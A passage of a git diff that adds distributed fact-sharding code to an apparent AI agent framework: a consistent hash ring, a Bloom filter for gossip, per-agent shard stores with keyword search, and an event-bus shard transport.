agent = GoalSeekingAgent("eval-agent") + src = ListInputSource(["Article text…", "What did the article say?"]) + agent.run_ooda_loop(src) + """ + turn = 0 + logger.info("Agent %s entering event-driven OODA loop", self._agent_name) + while True: + try: + text = input_source.next() + except Exception: + logger.warning( + "Agent %s: input_source.next() raised, stopping loop", + self._agent_name, + exc_info=True, + ) + break + + if text is None: + logger.info( + "Agent %s: input_source exhausted after %d turns", + self._agent_name, + turn, + ) + break + + # Handle FEED_COMPLETE sentinel from ServiceBusInputSource + if isinstance(text, str) and text.startswith("__FEED_COMPLETE__:"): + total = text.split(":", 1)[1] + logger.info( + "Agent %s received FEED_COMPLETE (total_turns=%s). " + "Staying alive for eval queries.", + self._agent_name, + total, + ) + continue + + turn += 1 + logger.debug("Agent %s OODA turn %d (len=%d)", self._agent_name, turn, len(text)) + try: + self.process(text) + except Exception: + logger.exception("Agent %s: process() failed on turn %d", self._agent_name, turn) + + logger.info("Agent %s OODA loop finished after %d turns", self._agent_name, turn) + + # ------------------------------------------------------------------ + # Delegation helpers (backward-compat surface for entrypoint) + # ------------------------------------------------------------------ + + @property + def memory(self) -> Any: + """Expose underlying memory adapter (read-only, for wiring transports).""" + return self._learning_agent.memory + + def get_memory_stats(self) -> dict[str, Any]: + """Delegate to LearningAgent.get_memory_stats() if available.""" + if hasattr(self._learning_agent, "get_memory_stats"): + return self._learning_agent.get_memory_stats() + return {} + + def close(self) -> None: + """Delegate close to LearningAgent.""" + if hasattr(self._learning_agent, "close"): + self._learning_agent.close() diff --git a/src/amplihack/agents/goal_seeking/hive_mind/__init__.py b/src/amplihack/agents/goal_seeking/hive_mind/__init__.py index 43f0e5e91..7968e2cef 100644 --- a/src/amplihack/agents/goal_seeking/hive_mind/__init__.py +++ b/src/amplihack/agents/goal_seeking/hive_mind/__init__.py @@ -82,6 +82,46 @@ _logger.debug("hive_graph module not available") +# DHT-based Distributed Hive Graph (production) +try: + from .distributed_hive_graph import DistributedHiveGraph + + __all__ += ["DistributedHiveGraph"] +except ImportError: + _logger.debug("distributed_hive_graph module not available") + +# DHT routing and shard storage +try: + from .dht import DHTRouter, HashRing, ShardFact, ShardStore + + __all__ += ["DHTRouter", "HashRing", "ShardFact", "ShardStore"] +except ImportError: + _logger.debug("dht module not available") + +# Bloom filter for gossip +try: + from .bloom import BloomFilter + + __all__ += ["BloomFilter"] +except ImportError: + _logger.debug("bloom module not available") + +# Unified orchestration layer (production) +try: + from .orchestrator import ( + DefaultPromotionPolicy, + HiveMindOrchestrator, + PromotionPolicy, + ) + + __all__ += [ + "DefaultPromotionPolicy", + "HiveMindOrchestrator", + "PromotionPolicy", + ] +except ImportError: + _logger.debug("orchestrator module not available") + # Desired-state HiveController (production) try: from .controller import ( diff --git a/src/amplihack/agents/goal_seeking/hive_mind/bloom.py b/src/amplihack/agents/goal_seeking/hive_mind/bloom.py new file mode 100644 index 000000000..1e929fa52 --- /dev/null +++ b/src/amplihack/agents/goal_seeking/hive_mind/bloom.py @@ -0,0 +1,123 @@ +"""Bloom filter for compact shard content summaries. + +Used by the gossip protocol to efficiently compare shard contents +between agents. Each agent maintains a bloom filter of its fact IDs. +During gossip, agents exchange bloom filters and pull missing facts. + +Philosophy: +- Compact representation (1KB for 1000 facts at 1% FPR) +- No false negatives — if bloom says "not present", it's truly absent +- Trade small false positive rate for massive space savings +- Simple bit-array implementation, no external dependencies + +Public API: + BloomFilter: Probabilistic set membership data structure +""" + +from __future__ import annotations + +import hashlib +import math +from typing import Sequence + + +class BloomFilter: + """Space-efficient probabilistic set membership test. + + Supports add() and might_contain(). False positives possible, + false negatives impossible. + + Args: + expected_items: Expected number of items to store + false_positive_rate: Target FPR (default 0.01 = 1%) + """ + + def __init__( + self, + expected_items: int = 1000, + false_positive_rate: float = 0.01, + ): + self._expected = expected_items + self._fpr = false_positive_rate + + # Optimal bit array size: m = -n*ln(p) / (ln2)^2 + if expected_items <= 0: + expected_items = 1 + self._size = max( + 64, + int(-expected_items * math.log(false_positive_rate) / (math.log(2) ** 2)), + ) + # Optimal number of hash functions: k = (m/n) * ln2 + self._num_hashes = max( + 1, int((self._size / expected_items) * math.log(2)) + ) + # Bit array as bytearray + self._bits = bytearray((self._size + 7) // 8) + self._count = 0 + + def _get_hashes(self, item: str) -> list[int]: + """Generate k hash positions for an item using double hashing.""" + h1 = int(hashlib.md5(item.encode()).hexdigest(), 16) + h2 = int(hashlib.sha1(item.encode()).hexdigest(), 16) + return [(h1 + i * h2) % self._size for i in range(self._num_hashes)] + + def add(self, item: str) -> None: + """Add an item to the bloom filter.""" + for pos in self._get_hashes(item): + byte_idx = pos >> 3 + bit_idx = pos & 7 + self._bits[byte_idx] |= 1 << bit_idx + self._count += 1 + + def might_contain(self, item: str) -> bool: + """Test if an item might be in the set. + + Returns True if possibly present, False if definitely absent. + """ + for pos in self._get_hashes(item): + byte_idx = pos >> 3 + bit_idx = pos & 7 + if not (self._bits[byte_idx] & (1 << bit_idx)): + return False + return True + + def add_all(self, items: Sequence[str]) -> None: + """Add multiple items.""" + for item in items: + self.add(item) + + def missing_from(self, items: Sequence[str]) -> list[str]: + """Return items from the sequence that are NOT in this filter. + + These are items the peer has that we definitely don't. + """ + return [item for item in items if not self.might_contain(item)] + + @property + def count(self) -> int: + """Approximate number of items added.""" + return self._count + + @property + def size_bytes(self) -> int: + """Size of the underlying bit array in bytes.""" + return len(self._bits) + + def to_bytes(self) -> bytes: + """Serialize the bloom filter for network transmission.""" + return bytes(self._bits) + + @classmethod + def from_bytes( + cls, + data: bytes, + expected_items: int = 1000, + false_positive_rate: float = 0.01, + ) -> BloomFilter: + """Deserialize a bloom filter from bytes.""" + bf = cls(expected_items=expected_items, false_positive_rate=false_positive_rate) + bf._bits = bytearray(data[: len(bf._bits)]) + return bf + + +__all__ = ["BloomFilter"] diff --git a/src/amplihack/agents/goal_seeking/hive_mind/constants.py b/src/amplihack/agents/goal_seeking/hive_mind/constants.py index 8fcb13f93..fb45cd428 100644 --- a/src/amplihack/agents/goal_seeking/hive_mind/constants.py +++ b/src/amplihack/agents/goal_seeking/hive_mind/constants.py @@ -82,6 +82,19 @@ # Models # --------------------------------------------------------------------------- +# --------------------------------------------------------------------------- +# DHT / Distributed Hive +# --------------------------------------------------------------------------- + +DEFAULT_REPLICATION_FACTOR = 3 +DEFAULT_QUERY_FANOUT = 5 +KUZU_BUFFER_POOL_SIZE = 256 * 1024 * 1024 # 256MB per agent (not 80% of system RAM) +KUZU_MAX_DB_SIZE = 1 * 1024 * 1024 * 1024 # 1GB (not 8TB default) + +# --------------------------------------------------------------------------- +# Models +# --------------------------------------------------------------------------- + DEFAULT_EMBEDDING_MODEL = "BAAI/bge-base-en-v1.5" DEFAULT_CROSS_ENCODER_MODEL = "cross-encoder/ms-marco-MiniLM-L-6-v2" DEFAULT_EXPANSION_MODEL = "claude-haiku-4-5-20251001" @@ -98,6 +111,10 @@ "DEFAULT_CONTRADICTION_OVERLAP", "DEFAULT_CROSS_ENCODER_MODEL", "DEFAULT_EMBEDDING_MODEL", + "DEFAULT_QUERY_FANOUT", + "DEFAULT_REPLICATION_FACTOR", + "KUZU_BUFFER_POOL_SIZE", + "KUZU_MAX_DB_SIZE", "DEFAULT_EXPANSION_MODEL", "DEFAULT_FACT_TTL_SECONDS", "DEFAULT_GOSSIP_FANOUT", diff --git a/src/amplihack/agents/goal_seeking/hive_mind/dht.py b/src/amplihack/agents/goal_seeking/hive_mind/dht.py new file mode 100644 index 000000000..744750880 --- /dev/null +++ b/src/amplihack/agents/goal_seeking/hive_mind/dht.py @@ -0,0 +1,667 @@ +"""Distributed Hash Table (DHT) for agent-centric fact sharding. + +Each agent owns a range of the consistent hash ring. Facts are hashed +to positions on the ring and stored on the R nearest agents (replication +factor). Queries route to shard owners via ring lookup. + +Inspired by Chord/Kademlia DHTs and Holochain's agent-centric approach. + +Philosophy: +- Each agent holds only its shard, not the full graph +- Consistent hashing distributes facts evenly +- Replication factor R provides fault tolerance +- O(1) lookup via ring position → agent mapping + +Public API: + HashRing: Consistent hash ring mapping keys to agents + ShardStore: Lightweight per-agent fact storage + DHTRouter: Routes facts and queries to shard owners +""" + +from __future__ import annotations + +import hashlib +import itertools +import logging +import threading +import time +from bisect import bisect_right, insort +from dataclasses import dataclass, field +from typing import Any + +logger = logging.getLogger(__name__) + +# Number of virtual nodes per agent for even distribution +VIRTUAL_NODES_PER_AGENT = 64 +# Default replication factor +DEFAULT_REPLICATION_FACTOR = 3 +# Hash ring size (2^32) +RING_SIZE = 2**32 + + +def _hash_key(key: str) -> int: + """Hash a string key to a position on the ring (0 to RING_SIZE-1).""" + digest = hashlib.md5(key.encode("utf-8")).hexdigest() + return int(digest[:8], 16) + + +def _content_key(content: str) -> str: + """Generate a stable key from fact content for DHT placement.""" + # Use first 3 significant words as the routing key + words = [ + w.lower() + for w in content.split() + if len(w) > 2 + and w.lower() + not in { + "the", + "and", + "for", + "that", + "with", + "this", + "from", + "are", + "was", + "were", + "has", + "have", + "had", + "not", + "but", + } + ] + key_words = words[:5] if words else [content[:20]] + return " ".join(key_words) + + +@dataclass +class ShardFact: + """A fact stored in a shard. + + Lighter than HiveFact — no graph edges, no embedding storage. + Embeddings computed on-demand by the query router. + """ + + fact_id: str + content: str + concept: str = "" + confidence: float = 0.8 + source_agent: str = "" + tags: list[str] = field(default_factory=list) + created_at: float = field(default_factory=time.time) + ring_position: int = 0 # Position on the hash ring + + +class HashRing: + """Consistent hash ring for distributing facts across agents. + + Uses virtual nodes for even distribution. Each agent gets + VIRTUAL_NODES_PER_AGENT positions on the ring. + + Thread-safe for concurrent agent join/leave operations. + """ + + def __init__(self, replication_factor: int = DEFAULT_REPLICATION_FACTOR): + self._lock = threading.Lock() + self._ring: list[int] = [] # Sorted ring positions + self._ring_to_agent: dict[int, str] = {} # Position → agent_id + self._agent_positions: dict[str, list[int]] = {} # agent → positions + self._replication_factor = replication_factor + + @property + def replication_factor(self) -> int: + return self._replication_factor + + def add_agent(self, agent_id: str) -> None: + """Add an agent to the ring with virtual nodes.""" + with self._lock: + if agent_id in self._agent_positions: + return # Already added + positions = [] + for i in range(VIRTUAL_NODES_PER_AGENT): + vnode_key = f"{agent_id}:vnode:{i}" + pos = _hash_key(vnode_key) + self._ring_to_agent[pos] = agent_id + insort(self._ring, pos) + positions.append(pos) + self._agent_positions[agent_id] = positions + + def remove_agent(self, agent_id: str) -> None: + """Remove an agent and its virtual nodes from the ring.""" + with self._lock: + positions = self._agent_positions.pop(agent_id, []) + for pos in positions: + self._ring_to_agent.pop(pos, None) + # Rebuild sorted ring + self._ring = sorted(self._ring_to_agent.keys()) + + def get_agents(self, key: str, n: int | None = None) -> list[str]: + """Find the N agents responsible for a key (clockwise from hash). + + Returns up to min(n, num_unique_agents) distinct agent IDs. + """ + if n is None: + n = self._replication_factor + + with self._lock: + if not self._ring: + return [] + + pos = _hash_key(key) + idx = bisect_right(self._ring, pos) + + agents_seen: list[str] = [] + ring_len = len(self._ring) + unique = set() + + for offset in range(ring_len): + ring_pos = self._ring[(idx + offset) % ring_len] + agent = self._ring_to_agent[ring_pos] + if agent not in unique: + unique.add(agent) + agents_seen.append(agent) + if len(agents_seen) >= n: + break + + return agents_seen + + def get_primary_agent(self, key: str) -> str | None: + """Get the primary (first) agent responsible for a key.""" + agents = self.get_agents(key, n=1) + return agents[0] if agents else None + + @property + def agent_count(self) -> int: + with self._lock: + return len(self._agent_positions) + + @property + def agent_ids(self) -> list[str]: + with self._lock: + return list(self._agent_positions.keys()) + + +class ShardStore: + """Lightweight per-agent fact storage. + + Each agent has one ShardStore holding its portion of the DHT. + Facts stored here are those assigned to this agent by the hash ring. + Separate from the agent's own cognitive memory (local knowledge). + + Thread-safe for concurrent reads/writes. + """ + + def __init__(self, agent_id: str): + self.agent_id = agent_id + self._lock = threading.Lock() + self._facts: dict[str, ShardFact] = {} # fact_id → ShardFact + self._content_index: dict[str, str] = {} # content_hash → fact_id (dedup) + self._summary_embedding: Any = None # numpy array or None (running average) + self._embedding_count: int = 0 # n for running average denominator + self._embedding_generator: Any = None # callable: str → array + + def set_embedding_generator(self, gen: Any) -> None: + """Set the embedding generator for computing shard summary embeddings.""" + self._embedding_generator = gen + + def store(self, fact: ShardFact) -> bool: + """Store a fact in this shard. Returns False if duplicate.""" + content_hash = hashlib.md5(fact.content.encode()).hexdigest() + with self._lock: + if content_hash in self._content_index: + return False + self._facts[fact.fact_id] = fact + self._content_index[content_hash] = fact.fact_id + + # Update running-average summary embedding outside main lock + if self._embedding_generator is not None: + try: + new_emb = self._embedding_generator(fact.content) + if new_emb is not None: + import numpy as np + + new_emb = np.array(new_emb, dtype=float) + with self._lock: + n = self._embedding_count + if self._summary_embedding is None: + self._summary_embedding = new_emb.copy() + else: + self._summary_embedding = (self._summary_embedding * n + new_emb) / ( + n + 1 + ) + self._embedding_count += 1 + except ImportError: + logger.warning("numpy not available for shard embedding computation") + except Exception: + logger.debug("Failed to update shard summary embedding", exc_info=True) + + return True + + def get(self, fact_id: str) -> ShardFact | None: + """Get a fact by ID.""" + with self._lock: + return self._facts.get(fact_id) + + def search(self, query: str, limit: int = 20) -> list[ShardFact]: + """Keyword search with substring matching and n-gram overlap scoring. + + Uses a comprehensive stop word list to filter noise terms, substring + matching (including prefix variants like "login"/"logins"), and a + bigram bonus to reward phrase-level matches over scattered hits. + Punctuation is stripped from query words so "INC-2024-001?" matches + facts containing "INC-2024-001". + """ + query_lower = query.lower() + # Strip trailing punctuation (e.g. "?" from questions) from each word + q_raw_words = [ + w.strip("?.,!;:'\"()[]") for w in query_lower.split() if w.strip("?.,!;:'\"()[]") + ] + stop_words = { + "the", + "a", + "an", + "is", + "are", + "was", + "were", + "what", + "how", + "does", + "do", + "and", + "or", + "of", + "in", + "to", + "for", + "with", + "on", + "at", + "by", + "from", + "that", + "this", + "it", + "as", + "be", + "been", + "has", + "have", + "had", + "will", + "would", + "could", + "should", + "did", + "which", + "who", + "when", + "where", + "why", + "any", + "some", + "all", + "both", + "each", + "few", + "more", + "most", + "other", + "such", + "into", + "through", + "during", + "before", + "after", + "than", + "then", + "these", + "those", + "there", + "their", + "they", + "its", + } + terms = {w for w in q_raw_words if w not in stop_words and len(w) > 1} + if not terms: + terms = set(q_raw_words) + + # Precompute bigrams from query for phrase-match bonus + q_bigrams = set(itertools.pairwise(q_raw_words)) + + scored: list[tuple[float, ShardFact]] = [] + with self._lock: + for fact in self._facts.values(): + if "retracted" in fact.tags: + continue + content_lower = fact.content.lower() + content_words = content_lower.split() + content_word_set = set(content_words) + + # Substring hits: exact substring match OR prefix overlap for + # morphological variants (e.g. "login" matches "logins" and vice versa). + # Specific identifiers (IP addresses, CVE IDs, incident numbers) that + # contain digits get 3x weight since they are highly discriminative. + hits = 0.0 + for t in terms: + weight = 5.0 if any(ch.isdigit() for ch in t) else 1.0 + if t in content_lower: + hits += weight + else: + # Partial credit for prefix overlap (min length 4) + if len(t) >= 4 and any( + w.startswith(t) or t.startswith(w) + for w in content_word_set + if len(w) >= 4 + ): + hits += weight * 0.5 + + if hits <= 0: + continue + + # Bigram bonus: reward facts that share consecutive phrase matches + fact_bigrams = set(itertools.pairwise(content_words)) + bigram_hits = sum(1 for bg in q_bigrams if bg in fact_bigrams) + bigram_bonus = bigram_hits * 0.3 + + score = hits + bigram_bonus + fact.confidence * 0.01 + scored.append((score, fact)) + + scored.sort(key=lambda x: x[0], reverse=True) + return [f for _, f in scored[:limit]] + + def get_all_fact_ids(self) -> set[str]: + """Get all fact IDs in this shard (for bloom filter / gossip).""" + with self._lock: + return set(self._facts.keys()) + + def get_all_facts(self) -> list[ShardFact]: + """Get all facts in this shard.""" + with self._lock: + return list(self._facts.values()) + + @property + def fact_count(self) -> int: + with self._lock: + return len(self._facts) + + def get_summary_embedding(self) -> Any: + """Return the current summary embedding under lock.""" + with self._lock: + return self._summary_embedding + + def get_content_hashes(self) -> set[str]: + """Get content hashes for dedup/gossip comparison.""" + with self._lock: + return set(self._content_index.keys()) + + +class DHTRouter: + """Routes facts and queries across the distributed hash ring. + + Coordinates between HashRing (who owns what) and ShardStores + (where facts live). Handles replication and query fan-out. + """ + + def __init__( + self, + replication_factor: int = DEFAULT_REPLICATION_FACTOR, + query_fanout: int = 5, + ): + self.ring = HashRing(replication_factor=replication_factor) + self._shards: dict[str, ShardStore] = {} # agent_id → ShardStore + self._query_fanout = query_fanout + self._lock = threading.Lock() + self._embedding_generator: Any = None + + def set_embedding_generator(self, gen: Any) -> None: + """Set the embedding generator for semantic routing. + + Propagates to all existing and future shards so they can compute + running-average summary embeddings on each store() call. + """ + self._embedding_generator = gen + with self._lock: + for shard in self._shards.values(): + shard.set_embedding_generator(gen) + + def add_agent(self, agent_id: str) -> ShardStore: + """Add an agent to the DHT. Returns its shard store.""" + self.ring.add_agent(agent_id) + with self._lock: + if agent_id not in self._shards: + shard = ShardStore(agent_id) + if self._embedding_generator is not None: + shard.set_embedding_generator(self._embedding_generator) + self._shards[agent_id] = shard + return self._shards[agent_id] + + def remove_agent(self, agent_id: str) -> list[ShardFact]: + """Remove an agent and return its orphaned facts for redistribution.""" + self.ring.remove_agent(agent_id) + with self._lock: + shard = self._shards.pop(agent_id, None) + if shard is None: + return [] + return shard.get_all_facts() + + def get_shard(self, agent_id: str) -> ShardStore | None: + """Get an agent's shard store.""" + with self._lock: + return self._shards.get(agent_id) + + def store_fact(self, fact: ShardFact) -> list[str]: + """Store a fact on the appropriate shard owner(s). + + Routes via consistent hashing. Replicates to R agents. + Passes embedding_generator to each shard so they can update their + running-average summary embedding for semantic routing. + Returns list of agent_ids that stored the fact. + """ + key = _content_key(fact.content) + fact.ring_position = _hash_key(key) + + owners = self.ring.get_agents(key) + stored_on: list[str] = [] + + for agent_id in owners: + shard = self.get_shard(agent_id) + if shard: + # Ensure shard has the embedding generator (e.g. if set after add_agent) + if self._embedding_generator is not None and shard._embedding_generator is None: + shard.set_embedding_generator(self._embedding_generator) + if shard.store(fact): + stored_on.append(agent_id) + + if stored_on: + logger.debug( + "Stored fact %s on %d agents: %s", + fact.fact_id[:8], + len(stored_on), + stored_on, + ) + + return stored_on + + def query( + self, + query_text: str, + limit: int = 20, + asking_agent: str | None = None, + ) -> list[ShardFact]: + """Query the DHT for facts matching a query. + + Routes to the K most relevant shard owners and merges results. + Uses keyword-based routing to find the right shards. + """ + # Determine which agents to query + agents_to_query = self._select_query_targets(query_text, asking_agent) + + # Fan out to selected agents + all_results: list[ShardFact] = [] + seen_content: set[str] = set() + + for agent_id in agents_to_query: + shard = self.get_shard(agent_id) + if shard is None: + continue + results = shard.search(query_text, limit=limit) + for fact in results: + content_hash = hashlib.md5(fact.content.encode()).hexdigest() + if content_hash not in seen_content: + seen_content.add(content_hash) + all_results.append(fact) + + # Sort by relevance: substring hits + bigram bonus + confidence + q_lower = query_text.lower() + # Strip punctuation from words so "INC-2024-001?" matches "INC-2024-001" + q_words = [w.strip("?.,!;:'\"()[]") for w in q_lower.split() if w.strip("?.,!;:'\"()[]")] + q_bigrams = set(itertools.pairwise(q_words)) + stop_words = { + "the", + "a", + "an", + "is", + "are", + "was", + "were", + "what", + "how", + "does", + "do", + "and", + "or", + "of", + "in", + "to", + "for", + "with", + "on", + "at", + "by", + "from", + "that", + "this", + "it", + } + search_terms = {w for w in q_words if w not in stop_words and len(w) > 1} or set(q_words) + + def _relevance(f: ShardFact) -> float: + c_lower = f.content.lower() + c_words = c_lower.split() + # Specific identifiers (contain digits: IPs, CVEs, incident IDs) get 5x weight + hits = sum( + (5.0 if any(ch.isdigit() for ch in t) else 1.0) + for t in search_terms + if t in c_lower + ) + bigram_bonus = sum(0.3 for bg in q_bigrams if bg in set(itertools.pairwise(c_words))) + return hits + bigram_bonus + f.confidence * 0.01 + + all_results.sort(key=_relevance, reverse=True) + + return all_results[:limit] + + def _select_query_targets(self, query_text: str, asking_agent: str | None) -> list[str]: + """Select which agents to query based on content routing. + + Strategy (in order of preference): + 1. Semantic routing: embed question, rank shards by cosine similarity + (used when embedding_generator is set and shards have embeddings) + 2. DHT lookup for the full query key → shard owners + 3. DHT lookup for each individual word → broader coverage + 4. For small hives (<20 agents), scan all non-empty shards + """ + all_agents = self.ring.agent_ids + max_targets = self._query_fanout * 3 + + # ── Semantic routing ──────────────────────────────────────────────── + if self._embedding_generator is not None: + try: + import numpy as np + + query_emb = self._embedding_generator(query_text) + if query_emb is not None: + q = np.array(query_emb, dtype=float) + q_norm = np.linalg.norm(q) + if q_norm > 0: + scored: list[tuple[float, str]] = [] + with self._lock: + shards_snapshot = list(self._shards.items()) + for agent_id, shard in shards_snapshot: + if shard.fact_count > 0: + s = shard.get_summary_embedding() + if s is not None: + s_norm = np.linalg.norm(s) + if s_norm > 0: + sim = float(np.dot(q, s) / (q_norm * s_norm)) + scored.append((sim, agent_id)) + + if scored: + scored.sort(key=lambda x: x[0], reverse=True) + return [aid for _, aid in scored[:max_targets]] + except ImportError: + logger.warning("numpy not available for semantic routing") + except Exception: + logger.debug( + "Semantic routing failed, falling back to keyword routing", exc_info=True + ) + # ── Keyword routing (fallback) ─────────────────────────────────────── + + # In distributed mode, local shards are empty — content lives on remote + # agents. DHT key routing cannot find the right shard because content is + # distributed round-robin (not by consistent hash). Fan out to ALL agents + # and let each respond with its own local facts. + with self._lock: + local_targets = [ + aid + for aid in all_agents + if aid in self._shards and self._shards[aid].fact_count > 0 + ] + # If most local shards are empty, we're in distributed mode — fan out to all. + if len(local_targets) < len(all_agents): + return list(all_agents) + # Pure in-process mode: all shards populated locally, return non-empty ones. + return local_targets + + def get_storage_targets(self, fact: ShardFact) -> list[str]: + """Return agent IDs that should store this fact via DHT consistent hashing. + + Sets fact.ring_position as a side effect (same as store_fact). + Does NOT perform the actual storage — use store_on_shard / store_fact for that. + """ + key = _content_key(fact.content) + fact.ring_position = _hash_key(key) + return self.ring.get_agents(key) + + def select_query_targets(self, query: str, asking_agent: str | None = None) -> list[str]: + """Public wrapper: select which agents to fan a query out to.""" + return self._select_query_targets(query, asking_agent) + + def get_all_agents(self) -> list[str]: + """Get all agent IDs in the DHT.""" + return self.ring.agent_ids + + def get_stats(self) -> dict[str, Any]: + """Get DHT statistics.""" + with self._lock: + shard_sizes = {aid: shard.fact_count for aid, shard in self._shards.items()} + total_facts = sum(shard_sizes.values()) + return { + "agent_count": self.ring.agent_count, + "total_facts": total_facts, + "replication_factor": self.ring.replication_factor, + "shard_sizes": shard_sizes, + "avg_shard_size": total_facts / max(1, self.ring.agent_count), + } + + +__all__ = [ + "HashRing", + "ShardStore", + "ShardFact", + "DHTRouter", + "VIRTUAL_NODES_PER_AGENT", + "DEFAULT_REPLICATION_FACTOR", +] diff --git a/src/amplihack/agents/goal_seeking/hive_mind/distributed_hive_graph.py b/src/amplihack/agents/goal_seeking/hive_mind/distributed_hive_graph.py new file mode 100644 index 000000000..b792feebf --- /dev/null +++ b/src/amplihack/agents/goal_seeking/hive_mind/distributed_hive_graph.py @@ -0,0 +1,1650 @@ +"""DistributedHiveGraph — DHT-sharded implementation of HiveGraph protocol. + +Each agent owns a shard of the fact space. Facts are distributed via +consistent hashing. Queries route to relevant shard owners instead of +scanning all agents. Gossip protocol ensures eventual consistency. + +This replaces InMemoryHiveGraph for large-scale (100+ agent) deployments +where the centralized approach causes memory exhaustion. + +Architecture: + ┌──────────────────────────────────────┐ + │ Consistent Hash Ring (DHT) │ + │ Facts hashed → stored on shard owner │ + └──┬──────────┬──────────┬─────────┬───┘ + │ │ │ │ + Agent 0 Agent 1 Agent 2 Agent N + (shard) (shard) (shard) (shard) + + Gossip: bloom filter exchange → pull missing facts + Query: DHT lookup → fan-out to K agents → RRF merge + +Philosophy: +- Agent-centric: each agent holds only its shard +- O(F/N) memory per agent instead of O(F) total +- O(K) query fan-out instead of O(N) +- Reuses existing CRDT, RRF, and embedding infrastructure +- Drop-in replacement for InMemoryHiveGraph protocol +- Dependency injection for shard transport — agent code is transport-agnostic + +Public API: + ShardTransport: Protocol for pluggable shard routing + LocalShardTransport: In-process transport backed by DHTRouter + ServiceBusShardTransport: Azure Service Bus transport with correlation_id + DistributedHiveGraph: HiveGraph protocol implementation using DHT +""" + +from __future__ import annotations + +import concurrent.futures +import hashlib +import logging +import random +import threading +import uuid +from typing import Any, Protocol, runtime_checkable + +from .bloom import BloomFilter +from .constants import ( + BROADCAST_TAG_PREFIX, + DEFAULT_BROADCAST_THRESHOLD, + DEFAULT_TRUST_SCORE, + FACT_ID_HEX_LENGTH, + MAX_TRUST_SCORE, +) +from .dht import DEFAULT_REPLICATION_FACTOR, DHTRouter, ShardFact +from .hive_graph import HiveAgent, HiveEdge, HiveFact + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# ShardTransport Protocol +# --------------------------------------------------------------------------- + + +@runtime_checkable +class ShardTransport(Protocol): + """Protocol for pluggable shard routing. + + Implementations route query_shard and store_on_shard operations to the + appropriate shard — in-process (LocalShardTransport) or over the network + (ServiceBusShardTransport). DistributedHiveGraph delegates all shard I/O + to the injected transport; it never branches on transport type. + """ + + def query_shard(self, agent_id: str, query: str, limit: int) -> list[ShardFact]: + """Query a specific agent's shard and return matching ShardFacts.""" + ... + + def store_on_shard(self, agent_id: str, fact: ShardFact) -> None: + """Store a fact on a specific agent's shard.""" + ... + + +# --------------------------------------------------------------------------- +# LocalShardTransport — in-process, backed by DHTRouter +# --------------------------------------------------------------------------- + + +class LocalShardTransport: + """In-process shard transport that directly accesses DHTRouter shards. + + No serialisation, no network — all shard I/O happens in the same process. + This is the default transport for local evaluation and testing. + + Args: + router: The DHTRouter whose ShardStores this transport accesses. + """ + + def __init__(self, router: DHTRouter) -> None: + self._router = router + + def query_shard(self, agent_id: str, query: str, limit: int) -> list[ShardFact]: + """Search a specific agent's shard directly.""" + shard = self._router.get_shard(agent_id) + if shard is None: + return [] + return shard.search(query, limit=limit) + + def store_on_shard(self, agent_id: str, fact: ShardFact) -> None: + """Store a fact in a specific agent's shard directly.""" + shard = self._router.get_shard(agent_id) + if shard is None: + return + # Mirror DHTRouter.store_fact: propagate embedding_generator if set + gen = self._router._embedding_generator + if gen is not None and shard._embedding_generator is None: + shard.set_embedding_generator(gen) + shard.store(fact) + + +# --------------------------------------------------------------------------- +# ServiceBusShardTransport — Azure Service Bus (or LocalEventBus stand-in) +# --------------------------------------------------------------------------- + + +class ServiceBusShardTransport: + """Shard transport that routes cross-shard operations via an event bus. + + Uses SHARD_QUERY / SHARD_RESPONSE for reads and SHARD_STORE for writes. + Local shard access (agent_id == self._agent_id) bypasses the bus for + efficiency. + + The transport must be bound to a DistributedHiveGraph via bind_local() + before handle_shard_query() can respond to incoming queries. + DistributedHiveGraph.__init__ calls bind_local(self) automatically when + a ServiceBusShardTransport is injected. + + Args: + event_bus: Any EventBus implementation (AzureServiceBusEventBus or + LocalEventBus for testing). + agent_id: This agent's own ID — determines which shard is "local". + timeout: Seconds to wait for a SHARD_RESPONSE (default 5.0). + """ + + def __init__(self, event_bus: Any, agent_id: str, timeout: float = 5.0) -> None: + self._bus = event_bus + self._agent_id = agent_id + self._timeout = timeout + # Pending cross-shard queries: correlation_id → (done_event, facts_list) + self._pending: dict[str, tuple[threading.Event, list]] = {} + self._pending_lock = threading.Lock() + self._local_graph: Any = None # Bound by DistributedHiveGraph.__init__ + + def bind_local(self, graph: Any) -> None: + """Bind the DistributedHiveGraph that owns this transport's local shard.""" + self._local_graph = graph + + # -- ShardTransport protocol --------------------------------------------- + + def query_shard(self, agent_id: str, query: str, limit: int) -> list[ShardFact]: + """Query a shard — local bypass for own shard, bus round-trip for remote.""" + if agent_id == self._agent_id and self._local_graph is not None: + shard = self._local_graph._router.get_shard(agent_id) + if shard is None: + return [] + return shard.search(query, limit=limit) + + # Remote query: publish SHARD_QUERY and wait for SHARD_RESPONSE + correlation_id = uuid.uuid4().hex + done = threading.Event() + results: list[dict] = [] + with self._pending_lock: + self._pending[correlation_id] = (done, results) + + try: + from .event_bus import make_event + + query_event = make_event( + event_type="SHARD_QUERY", + source_agent=self._agent_id, + payload={ + "query": query, + "limit": limit, + "correlation_id": correlation_id, + "target_agent": agent_id, + }, + ) + self._bus.publish(query_event) + done.wait(timeout=self._timeout) + finally: + with self._pending_lock: + self._pending.pop(correlation_id, None) + + return [ + ShardFact( + fact_id=f.get("fact_id", ""), + content=f.get("content", ""), + concept=f.get("concept", ""), + confidence=f.get("confidence", 0.8), + source_agent=f.get("source_agent", ""), + tags=f.get("tags", []), + ) + for f in results + if f.get("content") + ] + + def store_on_shard(self, agent_id: str, fact: ShardFact) -> None: + """Store a fact — local bypass for own shard, SHARD_STORE for remote.""" + if agent_id == self._agent_id and self._local_graph is not None: + shard = self._local_graph._router.get_shard(agent_id) + if shard is None: + return + gen = self._local_graph._router._embedding_generator + if gen is not None and shard._embedding_generator is None: + shard.set_embedding_generator(gen) + shard.store(fact) + return + + # Remote store: publish SHARD_STORE + from .event_bus import make_event + + store_event = make_event( + event_type="SHARD_STORE", + source_agent=self._agent_id, + payload={ + "target_agent": agent_id, + "fact": { + "fact_id": fact.fact_id, + "content": fact.content, + "concept": fact.concept, + "confidence": fact.confidence, + "source_agent": fact.source_agent, + "tags": list(fact.tags), + }, + }, + ) + self._bus.publish(store_event) + + def handle_shard_store(self, event: Any) -> None: + """Store a replicated fact from an incoming SHARD_STORE event. + + Called from the background shard-query listener thread when a peer + agent broadcasts a fact for replication. Stores the fact in this + agent's local shard so cross-shard queries are not needed later. + + target_agent filter: only store if this event targets us or has no + target (broadcast). Avoids double-processing. + """ + if self._local_graph is None: + return + payload = getattr(event, "payload", None) or {} + target_agent = payload.get("target_agent", "") + if target_agent and target_agent != 